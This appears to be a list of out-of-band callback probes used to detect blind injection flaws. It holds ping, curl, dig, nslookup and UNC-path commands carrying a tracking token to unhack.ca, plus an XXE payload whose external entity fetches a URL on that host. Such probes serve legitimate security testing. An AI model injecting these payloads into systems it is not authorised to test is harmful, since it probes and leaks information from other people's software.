$ ping -c1 -p 00361c462d06bbfee9018ad992321900 unhack.ca
 

$ curl http://unhack.ca/p/361c462d06bbfee9018ad9923219
 

$ dig 361c462d06bbfee9018ad9923219 @unhack.ca
 

$ dig 361c462d06bbfee9018ad9923219.ns.unhack.ca
 

C:\> nslookup 361c462d06bbfee9018ad9923219 unhack.ca
 

C:\> type \\unhack.ca\361c462d06bbfee9018ad9923219\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/361c462d06bbfee9018ad9923219">]>
    <foo>&xxe;</foo>